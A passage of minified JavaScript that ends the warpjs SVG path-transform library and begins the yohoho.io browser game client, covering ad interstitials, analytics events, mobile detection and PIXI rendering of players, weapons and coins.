e=["x","x1","x2"],t=["y","y1","y2"],r=0,n=0,i=NaN,o=NaN;return function(l){if(isNaN(i)&&(0,a.isDrawingSegment)(l)&&(i=r,o=n),"z"!==l.type||isNaN(i)||(r=i,n=o,i=NaN,o=NaN),l.relative){var u=!0,y=!1,f=void 0;try{for(var c,v=e[Symbol.iterator]();!(u=(c=v.next()).done);u=!0){var p=c.value;p in l&&(l[p]+=r)}}catch(e){y=!0,f=e}finally{try{!u&&v.return&&v.return()}finally{if(y)throw f}}var s=!0,d=!1,h=void 0;try{for(var x,g=t[Symbol.iterator]();!(s=(x=g.next()).done);s=!0){var m=x.value;m in l&&(l[m]+=n)}}catch(e){d=!0,h=e}finally{try{!s&&g.return&&g.return()}finally{if(d)throw h}}l.relative=!1}return r="x"in l?l.x:r,n="y"in l?l.y:n,"m"===l.type&&(i=r,o=n),l}};var a=r(0)},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){var e=0,t=0,r=NaN,n=NaN,a=NaN,i=NaN,o=NaN,l=NaN;return function(u){if(isNaN(r)&&"m"!==u.type)throw new Error('Transform path error: path must start with "moveto"');return"s"===u.type&&(a=isNaN(a)?e:a,i=isNaN(i)?t:i,u.type="c",u.x1=(u.relative?1:2)*e-a,u.y1=(u.relative?1:2)*t-i),"c"===u.type?(a=(u.relative?e:0)+u.x2,i=(u.relative?t:0)+u.y2):(a=NaN,i=NaN),"t"===u.type&&(o=isNaN(o)?e:o,l=isNaN(l)?t:l,u.type="q",u.x1=(u.relative?1:2)*e-o,u.y1=(u.relative?1:2)*t-l),"q"===u.type?(o=(u.relative?e:0)+u.x1,l=(u.relative?t:0)+u.y1):(o=NaN,l=NaN),"z"===u.type&&(e=r,t=n),e="x"in u?(u.relative?e:0)+u.x:e,t="y"in u?(u.relative?t:0)+u.y:t,"m"===u.type&&(r=e,n=t),u}}},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){var e=0,t=0,r=NaN,n=NaN;return function(a){if(isNaN(r)&&"m"!==a.type)throw new Error('Transform path error: path must start with "moveto"');switch(a.type){case"h":a.type="l",a.y=a.relative?0:t;break;case"v":a.type="l",a.x=a.relative?0:e;break;case"z":a.type="l",a.x=r-(a.relative?e:0),a.y=n-(a.relative?t:0);break;case"a":0!==a.rx&&0!==a.ry||(a.type="l",delete a.rx,delete a.ry,delete a.xRotation,delete a.largeArc,delete a.sweep)}return e=(a.relative?e:0)+a.x,t=(a.relative?t:0)+a.y,"m"===a.type&&(r=e,n=t),a}}},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"q",t=0,r=0,n=NaN,i=NaN;return function(o){if(isNaN(n)&&(0,a.isDrawingSegment)(o.type)&&(n=t,i=r),"z"!==o.type||isNaN(n)||(t=n,r=i,n=NaN,i=NaN),"l"===o.type){var l=o.relative?0:t,u=o.relative?0:r;switch(o.type=e,e){case"q":o.x1=(l+o.x)/2,o.y1=(u+o.y)/2;break;case"c":var y=(o.x-l)/3,f=(o.y-u)/3;o.x1=l+y,o.y1=u+f,o.x2=l+2*y,o.y2=u+2*f;break;default:throw new Error('Invalid curve type "'+e+'"')}}return t="x"in o?(o.relative?t:0)+o.x:t,r="y"in o?(o.relative?r:0)+o.y:r,"m"===o.type&&(n=t,i=r),o}};var a=r(0)},function(e,t,r){"use strict";function a(e,t,r,n,a,o,l,u,y){if(e===u&&t===y)return[];if(!r&&!n)return[{type:"l",x:u,y:y}];var f=Math.sin(a*Math.PI/180),c=Math.cos(a*Math.PI/180),v=c*(e-u)/2+f*(t-y)/2,p=-f*(e-u)/2+c*(t-y)/2,s=r*r,d=n*n,h=v*v,x=p*p,g=0,m=s*d-s*x-d*h;if(m<0){var b=Math.sqrt(1-m/(s*d));r*=b,n*=b}else g=(o&&l||!o&&!l?-1:1)*Math.sqrt(m/(s*x+d*h));var N=g*r*p/n,w=-g*n*v/r,P=c*N-f*w+(e+u)/2,M=f*N+c*w+(t+y)/2,_=i(1,0,(v-N)/r,(p-w)/n),A=i((v-N)/r,(p-w)/n,(-v-N)/r,(-p-w)/n);!l&&A>0?A-=2*Math.PI:l&&A<0&&(A+=2*Math.PI);for(var S=[],j=Math.ceil(Math.abs(A/(Math.PI/2))),O=A/j,k=8/3*Math.sin(O/4)*Math.sin(O/4)/Math.sin(O/2),D=0;D=a?i-a:2*Math.PI-(a-i)}Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){var e=0,t=0,r=NaN,n=NaN;return function(i){var l=i;if(isNaN(r)&&(0,o.isDrawingSegment)(i.type)&&(r=e,n=t),"z"!==i.type||isNaN(r)||(e=r,t=n,r=NaN,n=NaN),"a"===i.type){var x=a(i.relative?0:e,i.relative?0:t,i.rx,i.ry,i.xRotation,i.largeArc,i.sweep,i.x,i.y),g=0,m=0,b=!0,N=!1,w=void 0;try{for(var P,M=x[Symbol.iterator]();!(b=(P=M.next()).done);b=!0){var _=P.value;_.relative=i.relative,i.relative&&"c"===_.type&&(_.x-=g,_.x1-=g,_.x2-=g,_.y-=m,_.y1-=m,_.y2-=m),g=_.x,m=_.y}}catch(e){N=!0,w=e}finally{try{!b&&M.return&&M.return()}finally{if(N)throw w}}l=x}return e="x"in i?(i.relative?e:0)+i.x:e,t="y"in i?(i.relative?t:0)+i.y:t,"m"===i.type&&(r=e,n=t),l}};var o=r(0)},function(e,t,r){"use strict";function a(){for(var e=arguments.length,t=Array(e),r=0;r4&&void 0!==arguments[4]?arguments[4]:0,i=arguments.length>5&&void 0!==arguments[5]?arguments[5]:0;return a>0||i>0?[{type:"m",relative:!1,x:e+(a=a||i),y:t},{type:"h",relative:!1,x:e+r-a},{type:"a",relative:!1,rx:a,ry:i=i||a,xRotation:0,largeArc:!1,sweep:!0,x:e+r,y:t+i},{type:"v",relative:!1,y:t+n-i},{type:"a",relative:!1,rx:a,ry:i,xRotation:0,largeArc:!1,sweep:!0,x:e+r-a,y:t+n},{type:"h",relative:!1,x:e+a},{type:"a",relative:!1,rx:a,ry:i,xRotation:0,largeArc:!1,sweep:!0,x:e,y:t+n-i},{type:"v",relative:!1,y:t+i},{type:"a",relative:!1,rx:a,ry:i,xRotation:0,largeArc:!1,sweep:!0,x:e+a,y:t}]:[{type:"m",relative:!1,x:e,y:t},{type:"h",relative:!1,x:e+r},{type:"v",relative:!1,y:t+n},{type:"h",relative:!1,x:e},{type:"v",relative:!1,y:t}]},t.ellipse=l,t.circle=function(e,t,r){return l(e,t,r,r)}},function(e,t,r){"use strict";function n(e){if(Array.isArray(e)){for(var t=0,r=Array(e.length);t2&&(e.extended=e.extended||{},e.extended[r]=c.slice(2))}}return e})};var l=function(e){return e&&e.__esModule?e:{default:e}}(r(1)),u=r(0)},function(e,t,r){"use strict";function n(e){if(Array.isArray(e)){for(var t=0,r=Array(e.length);t1&&(o=x.map(function(e){return(0,y.createLineSegment)(e)}))}if("x"in e&&"y"in e){var g=(e.extended?e.extended[2]:null)||[],m=[e.x,e.y].concat(n(g));a=m}return o})};var l=function(e){return e&&e.__esModule?e:{default:e}}(r(1)),u=r(5),y=r(0),f=/[lqc]/},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r){return(0,i.default)(e,function(e,n,a,i){if(n>1){var u=i[i.length-1],y=i[i.length-2];if(l.test(e.type)&&u.type===e.type){var f=[[y.x,y.y],[e.x,e.y]];if(r(f)<=t){var c=(0,o.joinSegments)(u,e);if(c)return i[i.length-1]=c,!1}}}return e})};var i=function(e){return e&&e.__esModule?e:{default:e}}(r(1)),o=r(0),l=/[lqc]/}])}); +//# sourceMappingURL=node_modules/warpjs/dist/warp.js.map +"use strict";var yohoho=function(){var e,t,n,i,a="https://s.yohoho.io",o=!1,r=!1,d=!1,l=!1,s=2.5,h=Math.PI/16,c=.05,p=5,g=20,m=!1,u=!0,f=10,w=Math.PI/2,v=Math.PI,I=.2,b=!1,x=10,M=50,k=!1,P=!1,E=!1,S=2,C=0,B=.9,T=1.1,X=!1;c=0,d=!0,g=10,m=!0,u=!1,b=!0,k=!0,P=!0,E=!0,l=!0,v=Math.PI+Math.PI/4,C=10,X=!0;var A,L,H,R,D,O,G,N,W,F,z,K,_,Y,q,V,U,j,J,Q,Z,$,ee,te,ne,ie,ae,oe,re,de,le,se=!1,he=!1,ce=1,pe=!1,ge=!0,me=0,ue=0,ye=0,fe={},we={},ve={},Ie={},be=0,xe=0,Me=0,ke=0,Pe=0,Ee=0,Se=0,Ce=0,Be=0,Te=0,Xe=0,Ae=0,Le="n/a",He="n/a",Re=0,De=13,Oe=.5,Ge=3*Oe,Ne={},We=-1,Fe=0,ze=!1,Ke=-1!==document.referrer.indexOf("kongregate.com"),_e=-1!==document.referrer.indexOf("newgrounds.com"),Ye=-1!==document.referrer.indexOf("crazygames.com")||-1!==document.referrer.indexOf("speelspelletjes.nl")||-1!==document.referrer.indexOf("gioca.re")||-1!==document.referrer.indexOf(" onlinegame.co.id")||-1!==document.referrer.indexOf("1001juegos.com")||-1!==document.referrer.indexOf("crazygames.fr")||-1!==document.referrer.indexOf("crazygames.ru")||-1!==document.referrer.indexOf("crazygames.com.br"),qe=-1!==document.referrer.indexOf("pacogames.com")||-1!==document.referrer.indexOf("gamearter.com");var Ve,Ue=(Ve=document.createElement("canvas").getContext("2d"),(window.devicePixelRatio||1)/(Ve.webkitBackingStorePixelRatio||Ve.mozBackingStorePixelRatio||Ve.msBackingStorePixelRatio||Ve.oBackingStorePixelRatio||Ve.backingStorePixelRatio||1));var je=function(){var e={dpi:96,dpcm:96/2.54};function t(){return"undefined"==typeof window?0:+window.devicePixelRatio||Math.sqrt(screen.deviceXDPI*screen.deviceYDPI)/e.dpi||0}return{dppx:t,dpi:function(){return t()*e.dpi},dpcm:function(){return t()*e.dpcm}}}().dpcm();function Je(e){ce=e;try{"undefined"!=typeof Storage&&Oa.setItem("quality",e)}catch(e){}L&&(L.resolution=ce*Ue,L.rootRenderTarget&&(L.rootRenderTarget.resolution=ce*Ue),fn())}var Qe=!1,Ze=!1;try{localStorage}catch(e){Ze=!0,console.error("Can't use local storage:",e)}var $e=window.cordova||function(){var e=navigator.userAgent||navigator.vendor||window.opera;return!(!/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(e)&&!/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(e.substr(0,4)))}()||"MacIntel"===navigator.platform&&void 0!==navigator.maxTouchPoints&&navigator.maxTouchPoints>1,et=window.cordova?-1!==navigator.userAgent.indexOf("iPhone")||-1!==navigator.userAgent.indexOf("iPad"):-1!==navigator.userAgent.indexOf("Safari")&&-1===navigator.userAgent.indexOf("Chrome")&&-1===navigator.userAgent.indexOf("Chromium"),tt=$e&&et;function nt(){0==(A=document.getElementById("username").value.substring(0,14)).length&&(A="You"),ye++;try{Oa.setItem("gamesStarted",ye),"You"!=A&&Oa.setItem("username",A)}catch(e){console.log(e)}_t(),Ha(),"undefined"!=typeof PokiSDK&&PokiSDK.gameplayStart()}function it(){$e&&!tt&&function(){try{document.body.requestFullscreen?document.body.requestFullscreen().catch(function(e){}):document.body.mozRequestFullScreen?document.body.mozRequestFullScreen():document.body.webkitRequestFullscreen?document.body.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT):document.body.msRequestFullscreen&&document.body.msRequestFullscreen()}catch(e){console.error(e)}}(),ot=0;var e=!Kt&&function(){if(window.cordova)return ye>0;if("undefined"!=typeof PokiSDK)return!0;var e=(new Date).getTime();return 8==De?e=12e4:Ye?e=18e4:ye%2==1}();if(e&&function(){try{if(yt=!0,window.cordova)try{GameAnalytics.addDesignEvent({eventId:"ad:requested"})}catch(e){}if("undefined"!=typeof admob)rt?admob.showInterstitialAd():mt(!0);else if("undefined"!=typeof PokiSDK)PokiSDK.commercialBreak().then(ft);else if(window.famobi)window.famobi.showAd(ft),"undefined"!=typeof gtag&>ag("event","ShowFamobiVideo",{event_category:"Ads"});else if("undefined"!=typeof aiptag&&aiptag.cmd.player.push&&0==aiptag.cmd.player.length&&void 0!==aiptag.adplayer)aiptag.cmd.player.push(function(){aiptag.adplayer.startPreRoll()}),document.getElementById("yohoho-io_300x250").style.display="none";else{if(!se)return yt=!1,!1;var e=document.createElement("div");e.style.zIndex=9999999,e.style.position="fixed",e.style.width="100%",e.style.top="50%",e.style.transform="translateY(-50%)",e.style.backgroundColor="rgba(0,0,0,0.8)",e.style.color="white",e.style.fontSize="10vh",e.style.textAlign="center",e.style.paddingTop="45vh",e.style.paddingBottom="45vh",e.innerHTML="Video interstitial",document.body.appendChild(e),setTimeout(function(){document.body.removeChild(e),ft()},2e3)}return!0}catch(e){return console.error(e),yt=!1,!1}}()?(document.getElementById("play-button").style.display="none",document.getElementById("play-spinner").style.display="inline-block",document.getElementById("homepage-rewarded-button").style.display="none",document.getElementById("play-button").classList.remove("withreward"),"undefined"!=typeof gtag&>ag("event","StartGame",{event_category:"Click",event_label:"VideoAd",abBotSkillLevel:De,adBlockDetected:Qe,standaloneNavigator:!0===window.navigator.standalone,webglGPU:He,initialRef:Le,localStorageBlocked:Ze})):(nt(),"undefined"!=typeof gtag&>ag("event","StartGame",{event_category:"Click",event_label:e?"VideoAdBlocked":"NoVideoAd",abBotSkillLevel:De,adBlockDetected:Qe,standaloneNavigator:!0===window.navigator.standalone,webglGPU:He,initialRef:Le,localStorageBlocked:Ze})),window.cordova)try{GameAnalytics.addProgressionEvent({progressionStatus:GameAnalytics.EGAProgressionStatus.Start,progression01:di(Wi),progression02:ni[di(Wi)],progression03:""})}catch(e){}}function at(){it()}var ot=0;var rt=!1,dt=!0,lt=!1;function st(e){console.error("admob ad loaded",e),rt=!0,"undefined"!=typeof GameAnalytics&&(window.cordova?GameAnalytics.addDesignEvent({eventId:"admob:loaded"}):GameAnalytics("addDesignEvent","admob:loaded"))}function ht(e){console.error("admob ad failed to load",e),rt=!1,ft(),"undefined"!=typeof GameAnalytics&&(window.cordova?GameAnalytics.addDesignEvent({eventId:"admob:failedToLoad"}):GameAnalytics("addDesignEvent","admob:failedToLoad"))}function ct(e){console.log("admob ad opened",e),"undefined"!=typeof GameAnalytics&&(window.cordova?GameAnalytics.addDesignEvent({eventId:"admob:opened"}):GameAnalytics("addDesignEvent","admob:opened"))}function pt(e){console.log("admob ad closed",e),rt=!1,ft(),"undefined"!=typeof GameAnalytics&&(window.cordova?GameAnalytics.addDesignEvent({eventId:"admob:closed"}):GameAnalytics("addDesignEvent","admob:closed"))}function gt(e){console.error("admob ad left application",e),ft(),"undefined"!=typeof GameAnalytics&&(window.cordova?GameAnalytics.addDesignEvent({eventId:"admob:leftApplication"}):GameAnalytics("addDesignEvent","admob:leftApplication"))}function mt(e){var t={autoShowInterstitial:e};dt||(t.adExtras={npa:1}),admob.requestInterstitialAd(t)}var ut,yt=!1;function ft(){if(yt){yt=!1,0==ot?nt():doRespawn();try{document.getElementById("yohoho-io_300x250").style.display="block"}catch(e){console.error(e)}Re=(new Date).getTime(),Oa.setItem("lastVideoAdEndedTime",Re)}}function wt(e,t){return ut&&ut.width==e&&ut.height==t?ut:((ut=document.createElement("canvas")).width=e,ut.height=t,ut)}var vt={};function It(e,t){if(vt[e.textureCacheIds[0]+"-"+t])var n=vt[e.textureCacheIds[0]+"-"+t];else{var i=t,a=t;e.width>e.height&&(a=t/e.width*e.height),e.widths.height?r=d/s.width*s.height:d=r/s.height*s.width,n||(r*=xt[i],d*=xt[i]);var l=It(s,Math.max(d,r));l.style.left=t*(1-.9)/2+"px",l.style.top=t*(1-.9)/2+"px",l.style.width=Math.floor(d)+"px",l.style.height=Math.floor(r)+"px";var s,h=278/s.height,c=312/s.height,p=(s=V["p"+a+"w"]).height/427*r*h*1.6,g=p/s.height*s.width,m=It(s,p);m.style.width=Math.floor(g)+"px",m.style.height=Math.floor(p)+"px";var u=w+v;return m.style.transformOrigin=100*kt[a].anchor[0]+"% "+100*kt[a].anchor[1]+"%",m.style.transform="rotate("+u+"rad) scaleX(-1)",m.style.left=t*(1-.9)/2+d/2-(kt[a].anchor[0]*g+kt[a].anchor[1]*p)/Math.sqrt(2)/2+"px",m.style.top=t*(1-.9)/2+r/2-p*kt[a].anchor[1]+Math.min(d,r)/2*c+"px",o.appendChild(m),o.appendChild(l),o}var kt={1:{anchor:[59/115,49/427],handShift:35/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},2:{anchor:[59/115,49/427],handShift:340/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},3:{anchor:[59/115,49/427],handShift:340/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},4:{anchor:[59/115,49/427],handShift:340/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},5:{anchor:[59/115,49/427],handShift:340/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},6:{anchor:[59/115,49/427],handShift:340/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},7:{anchor:[59/115,49/427],handShift:340/427,polygon:[.15,.3,.35,.95,.95,.95,.7,.3,.15,.3]},8:{anchor:[59/115,49/427],handShift:340/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},9:{anchor:[59/115,49/427],handShift:340/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},10:{anchor:[59/115,58/427],handShift:340/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},11:{anchor:[59/115,67/477],handShift:340/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},12:{anchor:[59/115,87/449],handShift:340/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},13:{anchor:[59/115,123/447],handShift:340/427,polygon:[.3,.3,.3,.95,.7,.95,.7,.3,.3,.3]},14:{anchor:[59/115,49/427],handShift:340/427,polygon:[.25,.3,.4,.95,.95,.95,.7,.3,.25,.3]},15:{anchor:[59/115,49/427],handShift:340/427,polygon:[.3,.3,.4,.98,.9,.98,.7,.3,.3,.3]},16:{anchor:[59/115,123/539],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},17:{anchor:[59/115,137/554],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},18:{anchor:[59/115,155/600],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},19:{anchor:[59/115,49/427],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},20:{anchor:[59/115,84/485],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},21:{anchor:[59/115,213/589],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},22:{anchor:[59/115,69/423],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},23:{anchor:[59/115,215/581],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},24:{anchor:[59/115,131/455],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},25:{anchor:[59/115,112/481],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},26:{anchor:[108/204,160/492],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},27:{anchor:[59/115,142/527],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},28:{anchor:[59/115,100/497],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},29:{anchor:[59/115,59/415],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},30:{anchor:[59/115,139/462],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},31:{anchor:[59/115,199/713],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},32:{anchor:[59/115,83/449],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},33:{anchor:[59/115,141/544],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},34:{anchor:[59/115,160/487],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]},35:{anchor:[59/115,152/600],handShift:340/427,polygon:[.3,.3,.3,.99,.7,.99,.7,.3,.3,.3]}};function Pt(e){var t=Ie[e];kt[t]||(t=1);var n=t,i=new PIXI.Container,a=new PIXI.Sprite(V["p"+t+"c"]),o=a.texture.height/312;a.height=312/278*ne*2*o,a.width=a.height/a.texture.height*a.texture.width,a.anchor.set(.5,.5),i.addChild(a),i.base=a;var r=new PIXI.Text(ve[e]?ve[e]:"",{fontFamily:"Nunito",fontWeight:"bold",fontSize:Math.round(Math.min(window.innerHeight,window.innerWidth)/30),fill:4473924,align:"center"});r.anchor.set(.5),r.scale.set(1/H.scale.x),F.addChild(r),i.usernameText=r;var d=new PIXI.Sprite(V["p"+n+"w"]),l=d.texture.height/427;d.height=l*ne*2*1.6,d.width=d.height/d.texture.height*d.texture.width,i.weapon=d,i.weaponScale=1/o;var s=new PIXI.Container;if(s.pivot.set(kt[n].anchor[0],kt[n].anchor[1]),s.addChild(d),K.addChild(s),i.weaponContainer=s,i.weaponId=n,Et(i),i.sx=0,i.sy=0,i.name=name,i.playerId=e,Ne[e]=i,_.addChild(i),i.attacking=!1,i.boosting=!1,i.moving=!1,i.ghosts=[],i.lastGhostTurn=0,i.foodEaten=0,i.score=0,i.kills=0,i.lastKillTime=0,i.killCountInARow=0,i.weaponDamage=_i[Ie[e]],i.fuel=E?0:100,i.gameStart=(new Date).getTime(),i.weaponState=0,i.weaponRotation=w,i.targetRotation=0,i.oldPosition=new PIXI.Point,e==We&&(i.weaponContainer.filters=[new PIXI.filters.GlowFilter(10/1024*window.innerHeight,0,0,2913791,.5)]),!(L instanceof PIXI.CanvasRenderer)){var h=new PIXI.mesh.NineSlicePlane(V.box9filled,1*V.box9filled.width/8,V.box9filled.height/2,7*V.box9filled.width/8,V.box9filled.height/2);h.tint=16717089,h.alpha=.5,h.height=.3*ne,h.width=h.height/h.texture.height*h.texture.width,e===We&&Kt&&(h.width*=1.5),z.addChild(h);var c=new PIXI.Graphics;c.beginFill(),c.drawRect(0,0,h.width,h.height),c.endFill(),h.addChild(c),h.mask=c,c.width=1*c.parent.width;var p=new PIXI.mesh.NineSlicePlane(V.box9,1*V.box9.width/8,V.box9.height/2,7*V.box9.width/8,V.box9.height/2);p.tint=16717089,p.height=h.height,p.width=h.width,z.addChild(p),i.bar=h,i.barFrame=p,i.barMask=c}return i.health=zi[Ie[e]],i.maxHealth=zi[Ie[e]],e===We&&Kt&&(Kt=!1,i.maxHealth*=2,i.health=i.maxHealth),i}function Et(e){e.debugPoly&&e.weaponContainer.removeChild(e.debugPoly);var t=new PIXI.Graphics;t.lineStyle(.01,16711680);for(var n=[],i=kt[e.weaponId].polygon,a=0;a0){var i=2/C;t=1+Math.floor((t-1)/i)*i}}e.scale.set(t),e.bar&&e.bar.scale.set(t),e.barFrame&&e.barFrame.scale.set(t),e.weaponContainer.scale.set(t),l&&0==e.weaponState&&(e.weaponContainer.scale.x*=-1),Et(e),e.weaponContainer.pivot.set(kt[e.weaponId].anchor[0]*e.weaponContainer.width/e.weaponContainer.scale.x,kt[e.weaponId].anchor[1]*e.weaponContainer.height/e.weaponContainer.scale.y),e.playerId!=Fe&&e.playerId!=We||fn(void 0,!0)}function Ct(e,t){var n=new PIXI.Sprite(V["pet-"+e]);n.petId=e,n.width=1.8*ne,n.height=n.width*n.texture.height/n.texture.width,n.anchor.set(.5),-1!=[3,4,5,8].indexOf(e)?K.addChildAt(n,0):Y.addChildAt(n,0);var i=Math.random()*Math.PI*2;n.x=Ne[t].x+Math.cos(i)*ne*18,n.y=Ne[t].y+Math.sin(i)*ne*18,n.rotation=i+Math.PI,n.targetOnPlayer=Math.random()*Math.PI*2,n.targetOnPlayerDirection=Math.random()<.5?-1:1,Ne[t].pet=n}function Bt(){var e=new PIXI.Sprite(V.chest),t=At(4*ne);e.position.set(t.x,t.y),e.width=3*ne,e.height=e.width/e.texture.width*e.texture.height,e.anchor.set(.5),N.addChild(e),e.foodValue=100,we.push(e)}function Tt(e){var t=we[e];N.removeChild(t);var n=t.foodValue;Xt(t.x,t.y,n),we.splice(e,1)}function Xt(e,t,n){for(var i=[];n>0;){if(n>100){var a=50;(o=new PIXI.Sprite(V.coins_b)).width=.8}else if(n>50){a=25;(o=new PIXI.Sprite(V.coins_m)).width=.4*1.5}else{var o;a=Math.min(n,5);(o=new PIXI.Sprite(V.coins_s)).width=.4}o.isDeathFood=!0,o.foodValue=a,n-=o.foodValue,o.position.set(e,t),o.height=o.width,o.anchor.set(.5),G.addChild(o);var r=Math.random()*Math.PI*2,d=ne+Math.random()*ne*2;anime({targets:o,x:[e,Math.max(0,Math.min(ie,e+Math.cos(r)*d))],y:[t,Math.max(0,Math.min(ae,t+Math.sin(r)*d))],easing:"easeOutCubic",duration:500,complete:function(e){return function(){fe.push(e),ee.add(e,e)}}(o)}),i.push(o)}return i}function At(e){for(var t=0;t<100;){var n=Math.random()*ie,i=Math.random()*ae;if(n>=ne&&i>=ne&&n<=ie-ne&&i<=ae-ne){for(var a=!0,o=Math.ceil(e/te.gridSize),r=te.getAllInRange(new PIXI.Point(n,i),o,o),d=0;d=0;t--)try{anime.running[t].pause()}catch(e){console.error(e)}R.removeChildren(),D.removeChildren(),O.removeChildren(),Y.removeChildren(),G.removeChildren(),N.removeChildren(),W.removeChildren(),K.removeChildren(),F.removeChildren(),z.removeChildren(),_.removeChildren(),q.removeChildren(),void 0,Fn=[],Ne=[],fe=[],we=[],Ft=[],xe=0,We=0,Fe=0,ie=50,ae=50,ne=.3,re=(oe=12)/16*9;var n=di(Wi),i=50;16==De||18==De?(ie=ae=[10,50,50,60,70,80,90,100,100][n],i=[10,50,50,60,70,80,90,100,100][n]):15==De?(ie=ae=[10,50,50,50,50,60,60,70,70,80,80,90,90,100,100][n],i=[10,50,50,50,50,60,60,70,70,80,80,90,90,100,100][n]):De>=11?(ie=ae=[10,50,50,60,70,80,90,100][n],i=[10,50,50,60,70,80,90,100][n]):(5==n?ie=ae=100:n>=3&&(ie=ae=80),5==n?i=100:n>=3&&(i=80)),void 0===ie&&console.error("invalid map 